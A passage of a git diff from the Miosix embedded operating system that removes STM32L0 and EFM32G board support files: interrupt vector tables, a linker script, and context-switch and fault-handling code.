Reset_Handler(); //These interrupts are not -void /*__attribute__((weak))*/ NMI_Handler(); //weak because they are -void /*__attribute__((weak))*/ HardFault_Handler(); //surely defined by Miosix -void /*__attribute__((weak))*/ SVC_Handler(); -void /*__attribute__((weak))*/ PendSV_Handler(); -void __attribute__((weak)) SysTick_Handler(); - -// These system handlers are present in Miosix but not supported by the -// architecture, so are defined as weak -// void __attribute__((weak)) MemManage_Handler(); -// void __attribute__((weak)) BusFault_Handler(); -// void __attribute__((weak)) UsageFault_Handler(); -// void __attribute__((weak)) DebugMon_Handler(); - -//Interrupt handlers -void __attribute__((weak)) WWDG_IRQHandler(); -void __attribute__((weak)) PVD_IRQHandler(); -void __attribute__((weak)) RTC_IRQHandler(); -void __attribute__((weak)) FLASH_IRQHandler(); -void __attribute__((weak)) RCC_CRS_IRQHandler(); -void __attribute__((weak)) EXTI0_1_IRQHandler(); -void __attribute__((weak)) EXTI2_3_IRQHandler(); -void __attribute__((weak)) EXTI4_15_IRQHandler(); -void __attribute__((weak)) TSC_IRQHandler(); -void __attribute__((weak)) DMA1_Channel1_IRQHandler(); -void __attribute__((weak)) DMA1_Channel2_3_IRQHandler(); -void __attribute__((weak)) DMA1_Channel4_5_6_7_IRQHandler(); -void __attribute__((weak)) ADC1_COMP_IRQHandler(); -void __attribute__((weak)) LPTIM1_IRQHandler(); -void __attribute__((weak)) TIM2_IRQHandler(); -void __attribute__((weak)) TIM6_DAC_IRQHandler(); -void __attribute__((weak)) TIM21_IRQHandler(); -void __attribute__((weak)) TIM22_IRQHandler(); -void __attribute__((weak)) I2C1_IRQHandler(); -void __attribute__((weak)) I2C2_IRQHandler(); -void __attribute__((weak)) SPI1_IRQHandler(); -void __attribute__((weak)) SPI2_IRQHandler(); -void __attribute__((weak)) USART1_IRQHandler(); -void __attribute__((weak)) USART2_IRQHandler(); -void __attribute__((weak)) RNG_LPUART1_IRQHandler(); -void __attribute__((weak)) LCD_IRQHandler(); -void __attribute__((weak)) USB_IRQHandler(); - -//Stack top, defined in the linker script -extern char _main_stack_top asm("_main_stack_top"); - -//Interrupt vectors, must be placed @ address 0x00000000 -//The extern declaration is required otherwise g++ optimizes it out -extern void (* const __Vectors[])(); -void (* const __Vectors[])() __attribute__ ((section(".isr_vector"))) = -{ - reinterpret_cast(&_main_stack_top),/* Stack pointer*/ - Reset_Handler, /* Reset Handler */ - NMI_Handler, /* NMI Handler */ - HardFault_Handler, /* Hard Fault Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - SVC_Handler, /* SVCall Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - PendSV_Handler, /* PendSV Handler */ - SysTick_Handler, /* SysTick Handler */ - - WWDG_IRQHandler, /* Window WatchDog */ - PVD_IRQHandler, /* PVD through EXTI Line detect */ - RTC_IRQHandler, /* RTC through the EXTI line */ - FLASH_IRQHandler, /* FLASH */ - RCC_CRS_IRQHandler, /* RCC and CRS */ - EXTI0_1_IRQHandler, /* EXTI Line 0 and 1 */ - EXTI2_3_IRQHandler, /* EXTI Line 2 and 3 */ - EXTI4_15_IRQHandler, /* EXTI Line 4 to 15 */ - TSC_IRQHandler, /* TSC */ - DMA1_Channel1_IRQHandler, /* DMA1 Channel 1 */ - DMA1_Channel2_3_IRQHandler, /* DMA1 Channel 2 and Channel 3 */ - DMA1_Channel4_5_6_7_IRQHandler, /* DMA1 Channel 4, Channel 5, Channel 6 and Channel 7*/ - ADC1_COMP_IRQHandler, /* ADC1, COMP1 and COMP2 */ - LPTIM1_IRQHandler, /* LPTIM1 */ - 0, /* Reserved */ - TIM2_IRQHandler, /* TIM2 */ - 0, /* Reserved */ - TIM6_DAC_IRQHandler, /* TIM6 and DAC */ - 0, /* Reserved */ - 0, /* Reserved */ - TIM21_IRQHandler, /* TIM21 */ - 0, /* Reserved */ - TIM22_IRQHandler, /* TIM22 */ - I2C1_IRQHandler, /* I2C1 */ - I2C2_IRQHandler, /* I2C2 */ - SPI1_IRQHandler, /* SPI1 */ - SPI2_IRQHandler, /* SPI2 */ - USART1_IRQHandler, /* USART1 */ - USART2_IRQHandler, /* USART2 */ - RNG_LPUART1_IRQHandler, /* RNG and LPUART1 */ - LCD_IRQHandler, /* LCD */ - USB_IRQHandler /* USB */ -}; - -#pragma weak SysTick_Handler = Default_Handler -#pragma weak WWDG_IRQHandler = Default_Handler -#pragma weak PVD_IRQHandler = Default_Handler -#pragma weak RTC_IRQHandler = Default_Handler -#pragma weak FLASH_IRQHandler = Default_Handler -#pragma weak RCC_CRS_IRQHandler = Default_Handler -#pragma weak EXTI0_1_IRQHandler = Default_Handler -#pragma weak EXTI2_3_IRQHandler = Default_Handler -#pragma weak EXTI4_15_IRQHandler = Default_Handler -#pragma weak TSC_IRQHandler = Default_Handler -#pragma weak DMA1_Channel1_IRQHandler = Default_Handler -#pragma weak DMA1_Channel2_3_IRQHandler = Default_Handler -#pragma weak DMA1_Channel4_5_6_7_IRQHandler = Default_Handler -#pragma weak ADC1_COMP_IRQHandler = Default_Handler -#pragma weak LPTIM1_IRQHandler = Default_Handler -#pragma weak TIM2_IRQHandler = Default_Handler -#pragma weak TIM6_DAC_IRQHandler = Default_Handler -#pragma weak TIM21_IRQHandler = Default_Handler -#pragma weak TIM22_IRQHandler = Default_Handler -#pragma weak I2C1_IRQHandler = Default_Handler -#pragma weak I2C2_IRQHandler = Default_Handler -#pragma weak SPI1_IRQHandler = Default_Handler -#pragma weak SPI2_IRQHandler = Default_Handler -#pragma weak USART1_IRQHandler = Default_Handler -#pragma weak USART2_IRQHandler = Default_Handler -#pragma weak USART3_4_IRQHandler = Default_Handler -#pragma weak RNG_LPUART1_IRQHandler = Default_Handler -#pragma weak LCD_IRQHandler = Default_Handler -#pragma weak USB_IRQHandler = Default_Handler diff --git a/miosix/arch/cortexM0plus_stm32l0/stm32l053r8_nucleo/interfaces-impl/bsp.cpp b/miosix/arch/cortexM0plus_stm32l0/stm32l053r8_nucleo/interfaces-impl/bsp.cpp deleted file mode 100644 index b80c7f7ae..000000000 --- a/miosix/arch/cortexM0plus_stm32l0/stm32l053r8_nucleo/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,131 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2018 by Silvano Seva * - * Copyright (C) 2023 by Daniele Cattaneo * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp.cpp Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#include -#include -#include -#include "interfaces/bsp.h" -#include "kernel/kernel.h" -#include "kernel/sync.h" -#include "interfaces/delays.h" -#include "interfaces/portability.h" -#include "interfaces/arch_registers.h" -#include "config/miosix_settings.h" -#include "kernel/logging.h" -#include "filesystem/file_access.h" -#include "filesystem/console/console_device.h" -#include "drivers/serial.h" -#include "drivers/dcc.h" -#include "board_settings.h" - -namespace miosix { - -// -// Initialization -// - -void IRQbspInit() -{ - //Enable all gpios - RCC->IOPENR |= RCC_IOPENR_GPIOAEN | RCC_IOPENR_GPIOBEN | - RCC_IOPENR_GPIOCEN | RCC_IOPENR_GPIODEN | - RCC_IOPENR_GPIOHEN; - RCC_SYNC(); - GPIOA->OSPEEDR=0xffffffff; //Default to 50MHz speed for all GPIOS - GPIOB->OSPEEDR=0xffffffff; - GPIOC->OSPEEDR=0xffffffff; - GPIOD->OSPEEDR=0xffffffff; - GPIOH->OSPEEDR=0xffffffff; - led::mode(Mode::OUTPUT); - ledOn(); - delayMs(100); - ledOff(); - DefaultConsole::instance().IRQset(intrusive_ref_ptr( - #ifndef STDOUT_REDIRECTED_TO_DCC - new STM32Serial(defaultSerial,defaultSerialSpeed, - defaultSerialFlowctrl ? STM32Serial::RTSCTS : STM32Serial::NOFLOWCTRL))); - #else //STDOUT_REDIRECTED_TO_DCC - new ARMDCC)); - #endif //STDOUT_REDIRECTED_TO_DCC -} - -void bspInit2() -{ - //#ifdef WITH_FILESYSTEM - //basicFilesystemSetup(); - //#endif //WITH_FILESYSTEM -} - -// -// Shutdown and reboot -// - -/** -This function disables filesystem (if enabled), serial port (if enabled) and -puts the processor in deep sleep mode.
-Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. -
This function does not return.
-WARNING: close all files before using this function, since it unmounts the -filesystem.
-When in shutdown mode, power consumption of the miosix board is reduced to ~ -5uA??, however, true power consumption depends on what is connected to the GPIO -pins. The user is responsible to put the devices connected to the GPIO pin in the -minimal power consumption mode before calling shutdown(). Please note that to -minimize power consumption all unused GPIO must not be left floating. -*/ -void shutdown() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - //#ifdef WITH_FILESYSTEM - //FilesystemManager::instance().umountAll(); - //#endif //WITH_FILESYSTEM - - disableInterrupts(); - - for(;;) ; -} - -void reboot() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - //#ifdef WITH_FILESYSTEM - //FilesystemManager::instance().umountAll(); - //#endif //WITH_FILESYSTEM - - disableInterrupts(); - miosix_private::IRQsystemReboot(); -} - -} //namespace miosix diff --git a/miosix/arch/cortexM0plus_stm32l0/stm32l053r8_nucleo/interfaces-impl/bsp_impl.h b/miosix/arch/cortexM0plus_stm32l0/stm32l053r8_nucleo/interfaces-impl/bsp_impl.h deleted file mode 100644 index 6985aac86..000000000 --- a/miosix/arch/cortexM0plus_stm32l0/stm32l053r8_nucleo/interfaces-impl/bsp_impl.h +++ /dev/null @@ -1,68 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2016 by Silvano Seva * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp_impl.h Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#ifndef BSP_IMPL_H -#define BSP_IMPL_H - -#include "config/miosix_settings.h" -#include "interfaces/gpio.h" - -namespace miosix { - -/** -\addtogroup Hardware -\{ -*/ - -/** - * \internal - * used by the ledOn() and ledOff() implementation - */ -using led = Gpio; - -inline void ledOn() -{ - led::high(); -} - -inline void ledOff() -{ - led::low(); -} - -/** -\} -*/ - -} //namespace miosix - -#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM0plus_stm32l0/stm32l053r8_nucleo/stm32_64k+8k_rom.ld b/miosix/arch/cortexM0plus_stm32l0/stm32l053r8_nucleo/stm32_64k+8k_rom.ld deleted file mode 100644 index 266656891..000000000 --- a/miosix/arch/cortexM0plus_stm32l0/stm32l053r8_nucleo/stm32_64k+8k_rom.ld +++ /dev/null @@ -1,169 +0,0 @@ -/* - * C++ enabled linker script for stm32 (64K FLASH, 8K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in flash - * - stacks, heap and sections .data and .bss in ram - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* end of the heap on 8KB microcontrollers */ -_heap_end = 0x20002000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 64K - - /* - * Note, the ram starts at 0x20000000 but it is necessary to add the size - * of the main stack, so it is 0x20000200. - */ - ram(wx) : ORIGIN = 0x20000200, LENGTH = 8K-0x200 -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM3_efm32g/common/arch_settings.h b/miosix/arch/cortexM3_efm32g/common/arch_settings.h deleted file mode 100644 index 96631daa6..000000000 --- a/miosix/arch/cortexM3_efm32g/common/arch_settings.h +++ /dev/null @@ -1,56 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2015-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// \internal Size of vector to store registers during ctx switch (9*4=36Bytes) -/// Only sp and r4-r11 are saved here, since r0-r3,r12,lr,pc,xPSR and -/// old sp are saved by hardware on the process stack on Cortex M3 CPUs. -const unsigned char CTXSAVE_SIZE=9; - -/// \internal some architectures save part of the context on their stack. -/// This constant is used to increase the stack size by the size of context -/// save frame. If zero, this architecture does not save anything on stack -/// during context save. Size is in bytes, not words. -/// MUST be divisible by 4. -const unsigned int CTXSAVE_ON_STACK=32; - -/// \internal stack alignment for this specific architecture -const unsigned int CTXSAVE_STACK_ALIGNMENT=8; - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/arch/cortexM3_efm32g/common/interfaces-impl/arch_registers_impl.h b/miosix/arch/cortexM3_efm32g/common/interfaces-impl/arch_registers_impl.h deleted file mode 100644 index 87e993509..000000000 --- a/miosix/arch/cortexM3_efm32g/common/interfaces-impl/arch_registers_impl.h +++ /dev/null @@ -1,9 +0,0 @@ - -#ifndef ARCH_REGISTERS_IMPL_H -#define ARCH_REGISTERS_IMPL_H - -#include "CMSIS/Device/SiliconLabs/EFM32G/Include/em_device.h" -#include "CMSIS/Include/core_cm3.h" -#include "CMSIS/Device/SiliconLabs/EFM32G/Include/system_efm32g.h" - -#endif //ARCH_REGISTERS_IMPL_H diff --git a/miosix/arch/cortexM3_efm32g/common/interfaces-impl/delays.cpp b/miosix/arch/cortexM3_efm32g/common/interfaces-impl/delays.cpp deleted file mode 100644 index 9a6753986..000000000 --- a/miosix/arch/cortexM3_efm32g/common/interfaces-impl/delays.cpp +++ /dev/null @@ -1,75 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010-2024 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include "interfaces/delays.h" - -#if defined(EFM32_HFXO_FREQ) -#define FREQ EFM32_HFXO_FREQ -#elif defined(EFM32_HFRCO_FREQ) -#define FREQ EFM32_HFRCO_FREQ -#endif - -namespace miosix { - -//TODO: in theory the core clock can be prescaled so EFM32_HFXO_FREQ could not -//reflect the actual CPU speed, but no use case for doing it was found. Should -//prescaling be implemented, this code needs to be modified, but trying to put -//SystemCoreClock instead of EFM32_HFXO_FREQ results in the inner loop taking -//one more asm instruction, skewing delays. - -void delayMs(unsigned int mseconds) -{ - register const unsigned int count=FREQ/4000; - - for(unsigned int i=0;i * - ***************************************************************************/ - -#ifndef GPIO_IMPL_H -#define GPIO_IMPL_H - -#include "drivers/efm32_gpio.h" - -#endif //GPIO_IMPL_H diff --git a/miosix/arch/cortexM3_efm32g/common/interfaces-impl/portability.cpp b/miosix/arch/cortexM3_efm32g/common/interfaces-impl/portability.cpp deleted file mode 100644 index 0ad91df61..000000000 --- a/miosix/arch/cortexM3_efm32g/common/interfaces-impl/portability.cpp +++ /dev/null @@ -1,249 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include "interfaces/portability.h" -#include "kernel/kernel.h" -#include "kernel/error.h" -#include "interfaces/bsp.h" -#include "kernel/scheduler/scheduler.h" -#include "core/interrupts.h" -#include "kernel/process.h" -#include -#include -#include -#include - -/** - * \internal - * software interrupt routine. - * Since inside naked functions only assembler code is allowed, this function - * only calls the ctxsave/ctxrestore macros (which are in assembler), and calls - * the implementation code in ISR_yield() - */ -void SVC_Handler() __attribute__((naked)); -void SVC_Handler() -{ - saveContext(); - //Call ISR_yield(). Name is a C++ mangled name. - asm volatile("bl _ZN14miosix_private9ISR_yieldEv"); - restoreContext(); -} - -namespace miosix_private { - -/** - * \internal - * Called by the software interrupt, yield to next thread - * Declared noinline to avoid the compiler trying to inline it into the caller, - * which would violate the requirement on naked functions. Function is not - * static because otherwise the compiler optimizes it out... - */ -void ISR_yield() __attribute__((noinline)); -void ISR_yield() -{ - #ifdef WITH_PROCESSES - // WARNING: Temporary fix. Rationale: - // This fix is intended to avoid kernel or process faulting due to - // another process actions. Consider the case in which a process statically - // allocates a big array such that there is no space left for saving - // context data. If the process issues a system call, in the following - // interrupt the context is saved, but since there is no memory available - // for all the context data, a mem manage interrupt is set to 'pending'. Then, - // a fake syscall is issued, based on the value read on the stack (which - // the process hasn't set due to the memory fault and is likely to be 0); - // this syscall is usually a yield (due to the value of 0 above), - // which can cause the scheduling of the kernel thread. At this point, - // the pending mem fault is issued from the kernel thread, causing the - // kernel fault and reboot. This is caused by the mem fault interrupt - // having less priority of the other interrupts. - // This fix checks if there is a mem fault interrupt pending, and, if so, - // it clears it and returns before calling the previously mentioned fake - // syscall. - if(SCB->SHCSR & (1<<13)) - { - if(miosix::Thread::IRQreportFault(miosix_private::FaultData( - fault::MP,0,0))) - { - SCB->SHCSR &= ~(1<<13); //Clear MEMFAULTPENDED bit - return; - } - } - #endif // WITH_PROCESSES - miosix::Thread::IRQstackOverflowCheck(); - - #ifdef WITH_PROCESSES - //If processes are enabled, check the content of r3. If zero then it - //it is a simple yield, otherwise handle the syscall - //Note that it is required to use ctxsave and not cur->ctxsave because - //at this time we do not know if the active context is user or kernel - unsigned int threadSp=ctxsave[0]; - unsigned int *processStack=reinterpret_cast(threadSp); - if(processStack[3]!=static_cast(miosix::Syscall::YIELD)) - miosix::Thread::IRQhandleSvc(processStack[3]); - else miosix::Scheduler::IRQfindNextThread(); - #else //WITH_PROCESSES - miosix::Scheduler::IRQfindNextThread(); - #endif //WITH_PROCESSES -} - -void IRQsystemReboot() -{ - NVIC_SystemReset(); -} - -void initCtxsave(unsigned int *ctxsave, void *(*pc)(void *), unsigned int *sp, - void *argv) -{ - unsigned int *stackPtr=sp; - stackPtr--; //Stack is full descending, so decrement first - *stackPtr=0x01000000; stackPtr--; //--> xPSR - *stackPtr=reinterpret_cast( - &miosix::Thread::threadLauncher); stackPtr--; //--> pc - *stackPtr=0xffffffff; stackPtr--; //--> lr - *stackPtr=0; stackPtr--; //--> r12 - *stackPtr=0; stackPtr--; //--> r3 - *stackPtr=0; stackPtr--; //--> r2 - *stackPtr=reinterpret_cast(argv); stackPtr--; //--> r1 - *stackPtr=reinterpret_cast(pc); //--> r0 - - ctxsave[0]=reinterpret_cast(stackPtr); //--> psp - //leaving the content of r4-r11 uninitialized -} - -#ifdef WITH_PROCESSES - -// -// class FaultData -// - -void FaultData::print() const -{ - using namespace fault; - switch(id) - { - case MP: - iprintf("* Attempted data access @ 0x%x (PC was 0x%x)\n",arg,pc); - break; - case MP_NOADDR: - iprintf("* Invalid data access (PC was 0x%x)\n",pc); - break; - case MP_XN: - iprintf("* Attempted instruction fetch @ 0x%x\n",pc); - break; - case UF_DIVZERO: - iprintf("* Dvide by zero (PC was 0x%x)\n",pc); - break; - case UF_UNALIGNED: - iprintf("* Unaligned memory access (PC was 0x%x)\n",pc); - break; - case UF_COPROC: - iprintf("* Attempted coprocessor access (PC was 0x%x)\n",pc); - break; - case UF_EXCRET: - iprintf("* Invalid exception return sequence (PC was 0x%x)\n",pc); - break; - case UF_EPSR: - iprintf("* Attempted access to the EPSR (PC was 0x%x)\n",pc); - break; - case UF_UNDEF: - iprintf("* Undefined instruction (PC was 0x%x)\n",pc); - break; - case UF_UNEXP: - iprintf("* Unexpected usage fault (PC was 0x%x)\n",pc); - break; - case HARDFAULT: - iprintf("* Hardfault (PC was 0x%x)\n",pc); - break; - case BF: - iprintf("* Busfault @ 0x%x (PC was 0x%x)\n",arg,pc); - break; - case BF_NOADDR: - iprintf("* Busfault (PC was 0x%x)\n",pc); - break; - case STACKOVERFLOW: - iprintf("* Stack overflow\n"); - break; - } -} - -void initCtxsave(unsigned int *ctxsave, void *(*pc)(void *), int argc, - void *argvSp, void *envp, unsigned int *gotBase, unsigned int *heapEnd) -{ - unsigned int *stackPtr=reinterpret_cast(argvSp); - stackPtr--; //Stack is full descending, so decrement first - *stackPtr=0x01000000; stackPtr--; //--> xPSR - *stackPtr=reinterpret_cast(pc); stackPtr--; //--> pc - *stackPtr=0xffffffff; stackPtr--; //--> lr - *stackPtr=0; stackPtr--; //--> r12 - *stackPtr=reinterpret_cast(heapEnd); stackPtr--; //--> r3 - *stackPtr=reinterpret_cast(envp); stackPtr--; //--> r2 - *stackPtr=reinterpret_cast(argvSp); stackPtr--; //--> r1 - *stackPtr=argc; //--> r0 - - ctxsave[0]=reinterpret_cast(stackPtr); //--> psp - ctxsave[6]=reinterpret_cast(gotBase); //--> r9 - //leaving the content of r4-r8,r10-r11 uninitialized - //NOTE: Cortex M3 differs from Cortex M4/M7 as ctxsave does not contain lr -} - -#endif //WITH_PROCESSES - -void IRQportableStartKernel() -{ - //Enable fault handlers - SCB->SHCSR |= SCB_SHCSR_USGFAULTENA_Msk | SCB_SHCSR_BUSFAULTENA_Msk - | SCB_SHCSR_MEMFAULTENA_Msk; - //Enable traps for division by zero. Trap for unaligned memory access - //was removed as gcc starting from 4.7.2 generates unaligned accesses by - //default (https://www.gnu.org/software/gcc/gcc-4.7/changes.html) - SCB->CCR |= SCB_CCR_DIV_0_TRP_Msk; - NVIC_SetPriorityGrouping(7);//This should disable interrupt nesting - NVIC_SetPriority(SVCall_IRQn,3);//High priority for SVC (Max=0, min=15) - NVIC_SetPriority(MemoryManagement_IRQn,2);//Higher priority for MemoryManagement (Max=0, min=15) - - #ifdef WITH_PROCESSES - miosix::IRQenableMPUatBoot(); - #endif //WITH_PROCESSES - - //create a temporary space to save current registers. This data is useless - //since there's no way to stop the sheduler, but we need to save it anyway. - unsigned int s_ctxsave[miosix::CTXSAVE_SIZE]; - ctxsave=s_ctxsave;//make global ctxsave point to it - //Note, we can't use enableInterrupts() now since the call is not matched - //by a call to disableInterrupts() - __enable_fault_irq(); - __enable_irq(); - miosix::Thread::yield(); - //Never reaches here -} - -void sleepCpu() -{ - __WFI(); -} - -} //namespace miosix_private diff --git a/miosix/arch/cortexM3_efm32g/common/interfaces-impl/portability_impl.h b/miosix/arch/cortexM3_efm32g/common/interfaces-impl/portability_impl.h deleted file mode 100644 index 35adba0fa..000000000 --- a/miosix/arch/cortexM3_efm32g/common/interfaces-impl/portability_impl.h +++ /dev/null @@ -1,200 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010, 2011, 2012, 2013, 2104, 2015 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this 